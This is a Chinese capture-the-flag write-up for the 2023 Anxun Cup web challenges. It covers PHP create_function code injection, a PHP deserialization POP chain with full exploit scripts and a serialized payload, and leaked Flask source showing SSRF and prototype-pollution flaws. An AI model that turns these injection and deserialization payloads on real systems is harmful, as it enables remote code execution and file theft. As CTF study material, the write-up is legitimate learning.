2023安询杯

这次比赛收获的了第20名,最后队友差一点点出最后两道re,不然说不定就能搞到奖金了。。。。

比赛的质量很高,难度也还好,学到了不少的东西

what’s my name

打开给了php源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
highlight_file(__file__);
$d0g3=$_GET['d0g3'];
$name=$_GET['name'];
if(preg_match('/^(?:.{5})*include/',$d0g3)){
    $sorter='strnatcasecmp';
    $miao create_function('$a,$b''return "ln($a) + ln($b) = " . log($a * $b);');
    if(strlen($d0g3)==substr($miao, -2)&&$name===$miao){
        $sort_function ' return 1 * ' . $sorter '($a["' . $d0g3 '"], $b["' . $d0g3 '"]);';
        @$miao=create_function('$a, $b'$sort_function);
    }
    else{
        echo('Is That My Name?');
    }
}
else{
    echo("YOU Do Not Know What is My Name!");
}
?>

这边有好多的小trick,速速学习

preg_match(‘/^(?:.{5})*include/‘,$d0g3)

这里是循环匹配5次,匹配include这个字符串,过这个if要求在$dog3的前5个字符内必须出现include这个字符串

create_function匿名函数创建

适用范围

1
PHP 4> = 4.0.1,PHP 5,PHP 7

这个函数可以根据传入的参数创建匿名函数,返回其函数的名称

1
2
3
create_function(string $args,string $code)
string $args 声明的函数变量部分
string $code 执行的方法代码部分

下面是一个代码示例

1
2
3
4
5
<?php
$test=create_function('$a, $b', 'return "$a + $b = " . ($a + $b);');
echo $test;
echo "\n";
echo ($test(1,2));

image-20231224104254264

可以看到创建的匿名函数叫做(null)lambda_1,前面带有一个不可见字符

这里创建了一个这样的函数

1
2
3
function test1($a,$b){
return "$a + $b = " . ($a + $b);
}

当我们创建更多的匿名函数的时候,函数的名字就会发生变化

image-20231224105713689

可以看到后面的数字大小发生了变化

所以strlen($d0g3)==substr($miao, -2)这里只要计算出我们注入$dog3的长度大小,然后访问网页一定次数,

代码会不断创建匿名函数,$miao后面的东西就会发生自增,然后就可以过这个if,

后面那个name就只要是字符串长度的大小加上(null)lambda_前缀就可以了。

create_function注入

假设我们有一个这样代码

1
2
$test='echo  '.$a.'test'.$id.";";
$f1 = create_function('$a',$str2);

我们如果能控制test的值,我们就可以造成一个注入

假设拼接时候我拼接的内容是这样的

1
$test=;};phpinfo();//

这里闭合了前面的func的},然后自己写上了恶意的注入语句,然后完成了rce

1
2
3
4
function func($a){
echo $a . 'test';}
phpinfo();//' . ';'
}

实例

image-20231224142615444

这里就简单了,直接注入就好,注意记录长度修改后面那个lambol_的值

image-20231224142740826

easy_unserialize

感觉我是非预期

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
<?php
error_reporting(0);
show_source(__FILE__);
class Good{
    public $g1;
    private $gg2;

    public function __construct($ggg3)
    {
        $this->gg2 = $ggg3;
    }
    public function __isset($arg1)
    {
        echo("isset");
        if(!preg_match("/a-zA-Z0-9~-=!\^\+\(\)/",$this->gg2))
        {
            if ($this->gg2)
            {
                $this->g1->g1=666;
            }
        }else{
            die("No");
        }
    }
}
class Luck{
    public $l1;
    public $ll2;
    private $md5;
    public $lll3;
    public function __construct($a)
    {
        $this->md5 = $a;
    }
    public function __toString()
    {
        $new = $this->l1;
        return $new();
    }
    public function __get($arg1)
    {
        echo("__get");
        $this->ll2->ll2('b2');
    }

    public function __unset($arg1)
    {
        echo("__unset");
        if(md5(md5($this->md5)) == 666)
        {
            if(empty($this->lll3->lll3)){
                echo "There is noting";
            }
        }
    }
}
class To{
    public $t1;
    public $tt2;
    public $arg1;
    public function  __call($arg1,$arg2)
    {
        if(urldecode($this->arg1)===base64_decode($this->arg1))
        {
            echo $this->t1;
        }
    }
    public function __set($arg1,$arg2)
    {
        if($this->tt2->tt2)
        {
            echo "what are you doing?";
        }
    }
}
class You{
    public $y1;
    public function __wakeup()
    {
        unset($this->y1->y1);
        echo("end");
    }
}
class Flag{
    public function __invoke()
    {
        echo "May be you can get what you want here";
        array_walk($this, function ($one, $two) {
            $three = new $two($one);
            foreach($three as $tmp){
                echo ($tmp.'<br>');
            }
        });
    }
}

unserialize($_POST['D0g3']);



链子是__wakeup=》__unset=》md5触发__toString=》直接phpinfo就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
error_reporting(0);
class Good{
public $g1;
public $gg2;
}
class Luck{
public $l1;
public $ll2;
public $md5;
public $lll3;
}
class To{
public $t1;
public $tt2;
public $arg1;

}
class You{
public $y1;

}
class Flag{

}
$payload=new You();
$payload->y1=new Luck();
$payload->y1->md5=new Luck();
$payload->y1->md5->l1="phpinfo";
echo serialize($payload);
#D0g3=O:3:"You":1:{s:2:"y1";O:4:"Luck":4:{s:2:"l1";N;s:3:"ll2";N;s:3:"md5";O:4:"Luck":4:{s:2:"l1";s:7:"phpinfo";s:3:"ll2";N;s:3:"md5";N;s:4:"lll3";N;}s:4:"lll3";N;}}

也可以用glob去读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
class Good{
public $g1;
public $gg2;

}
class Luck{
public $l1;
public $ll2;
public $md5;
public $lll3;

}

class To{
public $t1;
public $tt2;
public $arg1;

}
class You{
public $y1;

}
class Flag{
public $DirectoryIterator='glob:///F*';


}
$payload=new You();
$payload->y1=new Luck();
$payload->y1->md5=new Luck();
$payload->y1->md5->l1=new Flag();

echo serialize($payload);

image-20231224143629219

swagger_doc(没做出)

给了一个swagger接口的页面,简单测试下存在任意文件读取

image-20231224144050813

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
#coding=gbk
import json
from flask import Flask, request, jsonify,send_file,render_template_string
import jwt
import requests
from functools import wraps
from datetime import datetime
import os

app = Flask(__name__)
app.config['TEMPLATES_RELOAD']=True

app.config['SECRET_KEY'] = 'fake_flag'
current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
response0 = {
'code': 0,
'message': 'failed',
'result': None
}
response1={
'code': 1,
'message': 'success',
'result': current_time
}

response2 = {
'code': 2,
'message': 'Invalid request parameters',
'result': None
}


def auth(func):
@wraps(func)
def decorated(*args, **kwargs):
token = request.cookies.get('token')
if not token:
return 'Invalid token', 401
try:
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
if payload['username'] == User.username and payload['password'] == User.password:
return func(*args, **kwargs)
else:
return 'Invalid token', 401
except:
return 'Something error?', 500

return decorated

@app.route('/',methods=['GET'])
def index():
return send_file('api-docs.json', mimetype='application/json;charset=utf-8')

@app.route('/api-base/v0/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.json['username']
password = request.json['password']
User.setUser(username,password)
token = jwt.encode({'username': username, 'password': password}, app.config['SECRET_KEY'], algorithm='HS256')
User.setToken(token)
return jsonify(response1)

return jsonify(response2),400


@app.route('/api-base/v0/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.json['username']
password = request.json['password']
try:
token = User.token
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
if payload['username'] == username and payload['password'] == password:
response = jsonify(response1)
response.set_cookie('token', token)
return response
else:
return jsonify(response0), 401
except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401

return jsonify(response2), 400

@app.route('/api-base/v0/update', methods=['POST', 'GET'])
@auth
def update_password():
try:
if request.method == 'POST':
try:
new_password = request.get_json()
if new_password:

update(new_password, User)

updated_token = jwt.encode({'username': User.username, 'password': User.password},
app.config['SECRET_KEY'], algorithm='HS256')
User.token = updated_token
response = jsonify(response1)
response.set_cookie('token',updated_token)
return response
else:
return jsonify(response0), 401
except:
return "Something error?",505
else:
return jsonify(response2), 400

except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401

def update(src, dst):
if hasattr(dst, '__getitem__'):
for key in src:
if isinstance(src[key], dict):
if key in dst and isinstance(src[key], dict):
update(src[key], dst[key])
else:
dst[key] = src[key]
else:
dst[key] = src[key]
else:
for key, value in src.items() :
if hasattr(dst,key) and isinstance(value, dict):
update(value,getattr(dst, key))
else:
setattr(dst, key, value)


@app.route('/api-base/v0/logout')
def logout():
response = jsonify({'message': 'Logout successful!'})
response.delete_cookie('token')
return response


@app.route('/api-base/v0/search', methods=['POST','GET'])
@auth
def api():
if request.args.get('file'):
try:
if request.args.get('id'):
id = request.args.get('id')
else:
id = ''
data = requests.get("http://127.0.0.1:8899/v2/users?file=" + request.args.get('file') + '&id=' + id)
if data.status_code != 200:
return data.status_code

if request.args.get('type') == "text":
return render_template_string(data.text)
else:
return jsonify(json.loads(data.text))
except jwt.ExpiredSignatureError:
return 'Invalid token', 401
except jwt.InvalidTokenError:
return 'Invalid token', 401
except Exception:
return 'something error?'
else:
return jsonify(response2)

class MemUser:
def setUser(self, username, password):
self.username = username
self.password = password

def setToken(self, token):
self.token = token

def __init__(self):
self.username="admin"
self.password="password"
self.token=jwt.encode({'username': self.username, 'password': self.password}, app.config['SECRET_KEY'], algorithm='HS256')

if __name__ == '__main__':
User = MemUser()
app.run(host='0.0.0.0')

这就是我读取到的源码

看到

1
data = requests.get("http://127.0.0.1:8899/v2/users?file=" + request.args.get('file') + '&id=' + id)

猜测能不能用requests打ssrf?

看到boogipop师傅做出了本地

考虑的是python的原型链污染,

大佬还是厉害,贴一下吧

https://boogipop.com/2023/12/24/%E7%AC%AC%E5%85%AD%E5%B1%8A%E5%AE%89%E6%B4%B5%E6%9D%AF%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%E6%8C%91%E6%88%98%E8%B5%9B%20Writeup/#swagger-doc%EF%BC%88%E6%9C%AA%E8%A7%A3%E5%87%BA%EF%BC%89

ezjava

做到时候想到了是cb链打psql,但是链子断了,就没细看

看到的是用treemap去打,不会了,歇逼

还得学,歇逼了